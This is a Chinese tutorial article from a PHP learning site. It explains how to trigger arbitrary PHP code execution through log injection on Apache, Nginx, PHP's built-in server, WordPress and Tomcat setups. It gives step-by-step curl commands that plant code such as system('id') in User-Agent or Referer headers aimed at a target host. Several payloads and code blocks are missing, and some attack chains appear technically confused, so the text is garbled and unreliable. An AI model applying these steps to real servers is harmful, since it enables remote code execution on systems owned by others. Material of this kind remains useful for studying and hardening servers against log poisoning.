0

0

日志分析怎样触发php代码执行_日志分析触发php代码执行方法【说明】

看不見的法師

看不見的法師

发布时间:2025-12-23 16:59:02

|

564人浏览过

|

来源于php中文网

原创

日志注入可导致任意PHP代码执行,主要途径包括:一、Apache访问日志+User-Agent注入;二、Nginx错误日志+fastcgi_split_path_info缺陷;三、PHP内置服务器自定义日志未过滤;四、WordPress插件日志未净化;五、Tomcat access log被Nginx误当PHP解析。

日志分析怎样触发php代码执行_日志分析触发php代码执行方法【说明】

如果Web服务器日志中包含用户可控输入且日志文件被PHP解析执行,则可能通过日志注入触发任意PHP代码执行。以下是实现该行为的多种方法:

一、利用Apache访问日志包含User-Agent字段并被include

当PHP脚本使用include或require动态加载Apache访问日志,且攻击者能控制User-Agent头时,可将PHP代码注入日志并触发执行。

1、使用curl发送携带恶意User-Agent的请求:
curl -H "User-Agent: php system('id'); ?>" http://target.com/index.php

2、确认日志路径,常见为/var/log/apache2/access.log或/var/log/httpd/access_log

立即学习PHP免费学习笔记(深入)”;

3、构造PHP页面,内容为:

4、访问该PHP页面,服务器将解析日志中嵌入的并执行

5、若日志中存在PHP短标签未被禁用且log文件具有可读权限,则代码可成功执行

二、利用Nginx错误日志配合fastcgi_split_path_info

在Nginx + PHP-FPM配置中,若fastcgi_split_path_info正则存在缺陷,可能导致错误日志路径被解析为PHP脚本,从而将恶意payload写入error.log并触发执行。

1、向不存在的PHP路径发起请求,例如:http://target.com/xxx.php/xxx.jpg

2、在请求中注入PHP代码到URI或Referer头:
curl -H "Referer: " http://target.com/xxx.php/xxx.jpg

3、确认Nginx错误日志路径,通常为/var/log/nginx/error.log

4、访问一个可导致Nginx将error.log作为PHP脚本处理的特殊路径,如:http://target.com/xxx.jpg/.php

5、关键条件是Nginx配置中存在不安全的fastcgi_split_path_info正则且error.log被PHP-FPM解析

三、利用PHP内置Web服务器的日志注入

PHP内置服务器(php -S)默认将请求日志输出到STDOUT,但若开发者自定义日志写入文件且未过滤输入,可能造成日志文件被后续include操作执行。

1、启动PHP内置服务器并指定路由脚本:php -S 0.0.0.0:8000 router.php

2、在router.php中实现日志记录逻辑,例如:file_put_contents('app.log', $_SERVER['REQUEST_URI'] . "\n", FILE_APPEND);

快剪辑
快剪辑

国内⼀体化视频⽣产平台

下载

3、发送含PHP代码的请求:curl "http://localhost:8000/"

4、确保另一处PHP代码执行include('app.log')或类似操作

5、必须满足日志文件路径可预测且写入内容未经过滤、未转义

四、利用WordPress插件日志功能写入可执行内容

部分WordPress插件(如WP Debug Log、Query Monitor)将调试信息或SQL查询记录至自定义日志文件,若日志内容未净化且该文件路径可通过主题或插件模板include,则构成执行链。

1、启用调试模式并在wp-config.php中设置define('WP_DEBUG_LOG', true);

2、触发插件记录敏感数据,例如构造含PHP代码的SQL查询或HTTP头

3、查找插件日志文件路径,常见为/wp-content/debug.log或/wp-content/plugins/plugin-name/logs/

4、创建模板文件(如page-log-exec.php),内容为:

5、需确保插件未对日志内容进行HTML实体编码或PHP标签过滤

五、利用Tomcat access log结合JSP解析漏洞间接触发PHP执行

在混合环境(如Nginx反代Tomcat + PHP-FPM共存)中,若Nginx将特定后缀(如.jsp)转发至PHP处理器,且Tomcat access.log被Nginx以PHP方式解析,则可通过伪造JSP请求将PHP代码写入access.log并触发。

1、向Tomcat发送含恶意User-Agent的请求:
curl -H "User-Agent: " http://tomcat-backend:8080/test.jsp

2、确认Tomcat access log路径,通常为$CATALINA_HOME/logs/access_log.yyyy-mm-dd

3、配置Nginx location块,使对*.jsp路径的请求由PHP-FPM处理而非代理至Tomcat

4、访问Nginx上对应日志文件路径,如http://nginx-proxy/access_log.2024-01-01

5、前提条件是Nginx配置错误导致日志文件扩展名匹配PHP处理器且无访问限制

相关专题

更多
php文件怎么打开
php文件怎么打开

打开php文件步骤:1、选择文本编辑器;2、在选择的文本编辑器中,创建一个新的文件,并将其保存为.php文件;3、在创建的PHP文件中,编写PHP代码;4、要在本地计算机上运行PHP文件,需要设置一个服务器环境;5、安装服务器环境后,需要将PHP文件放入服务器目录中;6、一旦将PHP文件放入服务器目录中,就可以通过浏览器来运行它。

2545

2023.09.01

php怎么取出数组的前几个元素
php怎么取出数组的前几个元素

取出php数组的前几个元素的方法有使用array_slice()函数、使用array_splice()函数、使用循环遍历、使用array_slice()函数和array_values()函数等。本专题为大家提供php数组相关的文章、下载、课程内容,供大家免费下载体验。

1611

2023.10.11

php反序列化失败怎么办
php反序列化失败怎么办

php反序列化失败的解决办法检查序列化数据。检查类定义、检查错误日志、更新PHP版本和应用安全措施等。本专题为大家提供php反序列化相关的文章、下载、课程内容,供大家免费下载体验。

1501

2023.10.11

php怎么连接mssql数据库
php怎么连接mssql数据库

连接方法:1、通过mssql_系列函数;2、通过sqlsrv_系列函数;3、通过odbc方式连接;4、通过PDO方式;5、通过COM方式连接。想了解php怎么连接mssql数据库的详细内容,可以访问下面的文章。

952

2023.10.23

php连接mssql数据库的方法
php连接mssql数据库的方法

php连接mssql数据库的方法有使用PHP的MSSQL扩展、使用PDO等。想了解更多php连接mssql数据库相关内容,可以阅读本专题下面的文章。

1417

2023.10.23

html怎么上传
html怎么上传

html通过使用HTML表单、JavaScript和PHP上传。更多关于html的问题详细请看本专题下面的文章。php中文网欢迎大家前来学习。

1234

2023.11.03

PHP出现乱码怎么解决
PHP出现乱码怎么解决

PHP出现乱码可以通过修改PHP文件头部的字符编码设置、检查PHP文件的编码格式、检查数据库连接设置和检查HTML页面的字符编码设置来解决。更多关于php乱码的问题详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1446

2023.11.09

php文件怎么在手机上打开
php文件怎么在手机上打开

php文件在手机上打开需要在手机上搭建一个能够运行php的服务器环境,并将php文件上传到服务器上。再在手机上的浏览器中输入服务器的IP地址或域名,加上php文件的路径,即可打开php文件并查看其内容。更多关于php相关问题,详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1306

2023.11.13

C++ 单元测试与代码质量保障
C++ 单元测试与代码质量保障

本专题系统讲解 C++ 在单元测试与代码质量保障方面的实战方法,包括测试驱动开发理念、Google Test/Google Mock 的使用、测试用例设计、边界条件验证、持续集成中的自动化测试流程,以及常见代码质量问题的发现与修复。通过工程化示例,帮助开发者建立 可测试、可维护、高质量的 C++ 项目体系。

2

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 8.7万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 7万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 0.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号